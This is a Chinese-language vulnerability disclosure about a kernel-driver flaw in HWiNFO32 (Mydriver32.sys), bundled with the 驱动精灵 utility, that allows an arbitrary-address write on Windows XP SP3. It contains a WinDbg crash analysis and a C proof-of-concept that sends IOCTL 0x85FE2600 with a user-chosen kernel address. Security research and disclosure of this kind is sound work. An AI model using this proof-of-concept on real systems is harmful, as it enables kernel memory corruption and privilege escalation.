这个漏洞是在研究驱动精灵的时候发现的,最后确认是其调用的HWiNFO32驱动所产生的问题,而HWiNFO32并非驱动精灵开发的驱动,所以最后写标题时也纠结了一番。废话不说了,开始。
HWiNFO32驱动过滤不严,造成任意地址写固定数据漏洞。驱动精灵中包含HWiNFO32,其名称为 Mydriver32.sys,发现很久了,版本已经不记得了,当时是安装驱动下载的最新版。
详细说下漏洞:在DeviceIoControl例程中,当IoControlCode=0x85FE2600时,不严格过滤用户传入的lpOutBuffer参数,直接调用 nt!IopfCompleteRequest后,经过一系列处理,最终在nt!IopCompleteRequest产生漏洞,可写任意地址。因其最终引发错误的代码发生nt!IopCompleteRequest,所以也与系统相关。经测试 xp sp3可正常利用,Win7则没有影响。
看看 windbg的崩溃信息。
PAGE_FAULT_IN_NONPAGED_AREA (50) Invalid system memory was referenced. This cannot be protected by try-except, it must be protected by a Probe. Typically the address is just plain bad or it is pointing at freed memory. Arguments: Arg1: ffff0000, memory referenced. Arg2: 00000001, value 0 = read operation, 1 = write operation. Arg3: 804ed09b, If non-zero, the instruction address which referenced the bad memory address. Arg4: 00000000, (reserved) Debugging Details: ------------------ WRITE_ADDRESS: FAULTING_IP: ffff0000 nt!IopCompleteRequest+92 804ed09b f3a5 rep movs dword ptr es:[edi],dword ptr [esi] MM_INTERNAL_CODE: DEFAULT_BUCKET_ID: 0 CODE_CORRUPTION BUGCHECK_STR: PROCESS_NAME: IRP_ADDRESS: 0x50 TestMyDriver32_ 82177f68 DEVICE_OBJECT: 81d5f518 DRIVER_OBJECT: 81d26288 IMAGE_NAME: DgSafe.sys DEBUG_FLR_IMAGE_TIMESTAMP: MODULE_NAME: DgSafe 540684f3 FAULTING_MODULE: b1250000 mydrivers32 TRAP_FRAME: b137f91c -- (.trap 0xffffffffb137f91c) ErrCode = 00000002 eax=00000110 ebx=82177f68 ecx=00000044 edx=00000001 esi=81f24680 edi=ffff0000 eip=804ed09b esp=b137f990 ebp=b137f9d4 iopl=0 nv up ei pl nz na pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010206 nt!IopCompleteRequest+0x92: 804ed09b f3a5 rep movs dword ptr es:[edi],dword ptr [esi] from 80533797 to 804e450a Resetting default scope LAST_CONTROL_TRANSFER: STACK_TEXT: b137f46c 80533797 00000003 ffff0000 00000000 nt!RtlpBreakWithStatusInstruction b137f4b8 8053426e 00000003 806f2298 c03fffc0 nt!KiBugCheckDebugBreak+0x19 b137f898 8053485e 00000050 ffff0000 00000001 nt!KeBugCheck2+0x574 b137f8b8 805251a8 00000050 ffff0000 00000001 nt!KeBugCheckEx+0x1b b137f904 804e2747 00000001 ffff0000 00000000 nt!MmAccessFault+0x6f5 b137f904 804ed09b 00000001 ffff0000 00000000 nt!KiTrap0E+0xcc b137f9d4 804ed11a 82177fa8 b137fa20 b137fa14 nt!IopCompleteRequest+0x92 b137fa24 806f2c35 00000000 00000000 b137fa3c nt!KiDeliverApc+0xb3 b137fa24 806f2861 00000000 00000000 b137fa3c hal!HalpApcInterrupt+0xc5 b137faac 804e63cc 82177fa8 82177f68 00000000 hal!KeReleaseInStackQueuedSpinLock+0x11 b137facc 804ed134 82177fa8 81d2d588 00000000 nt!KeInsertQueueApc+0x4b b137fb00 b1251f27 81d2d588 81d26288 82177f68 nt!IopfCompleteRequest+0x1d8 WARNING: Stack unwind information not available. Following frames may be wrong. b137fc34 804e4767 81d5f518 82177f68 806f22d0 mydrivers32+0x1f27 b137fc44 805692ab 82177fd8 81d2d588 82177f68 nt!IopfCallDriver+0x31 b137fc58 805781e2 81d5f518 82177f68 81d2d588 nt!IopSynchronousServiceTail+0x70 b137fd00 8057a705 00000054 00000000 00000000 nt!IopXxxControlFile+0x611 b137fd34 804df7f8 00000054 00000000 00000000 nt!NtDeviceIoControlFile+0x2a b137fd34 7c92e514 00000054 00000000 00000000 nt!KiSystemServicePostCall 0013fed8 7c92d28a 7c801675 00000054 00000000 ntdll!KiFastSystemCallRet 0013fedc 7c801675 00000054 00000000 00000000 ntdll!ZwDeviceIoControlFile+0xc 0013ff3c 00401058 00000054 85fe2600 0013ff68 kernel32!DeviceIoControl+0xdd FOLLOWUP_NAME: MachineOwner MEMORY_CORRUPTOR: PATCH_DgSafe FAILURE_BUCKET_ID: MEMORY_CORRUPTION_PATCH_DgSafe BUCKET_ID: MEMORY_CORRUPTION_PATCH_DgSafe Followup: MachineOwner
代码流程:mydriver32-nt!IopfCompleteRequest-nt!IopCompleteRequest ,在mydrivers32+0x1f27处,当IoControlCode=0x85FE2600时,不对用户传入的OUTBUFF进行任何验证,就直接调用了nt!IopfCompleteRequest,而 IopfCompleteRequest有这样一段代码。
正是这段代码,造成了漏洞。但按调用代码来说,复刻进去的数据应当为POC中的数据,但实际却固定为0x2,不知为何,希望有人能告知。下面是可利用的 POC代码。
VOID TestMyDriver32() { HANDLE hCreateFile = INVALID_HANDLE_VALUE; DWORD dwInBuffer = 0x6c77792a; DWORD dwOutBuffer = 0xf8be8020;//内核可写地址请自行更改 hCreateFile = CreateFileA(\\\\.\\HWiNFO32, 0, // no access to the drive FILE_SHARE_READ | // share mode FILE_SHARE_WRITE, NULL, // default security attributes OPEN_EXISTING, // disposition 0, // file attributes NULL); if (hCreateFile == INVALID_HANDLE_VALUE) { printf(Error Open Device!\n); return ; } DeviceIoControl(hCreateFile, 0x85FE2600, (LPVOID)dwInBuffer, 4, (LPVOID)dwOutBuffer, 0, dwInBuffer, NULL); CloseHandle(hCreateFile); return; } int _tmain(int argc, _TCHAR* argv[]) { char cSSS[10]; TestMyDriver32(); scanf(%s,cSSS); return 0; }
图 1是漏洞触发的结果验证。
本文为网络安全技术研究记录,文中技术研究环境为本地搭建或经过目标主体授权测试研究,内容已去除关键敏感信息和代码,以防止被恶意利用。文章内提及的漏洞均已修复,在挖掘、提交相关漏洞的过程中,应严格遵守相关法律法规。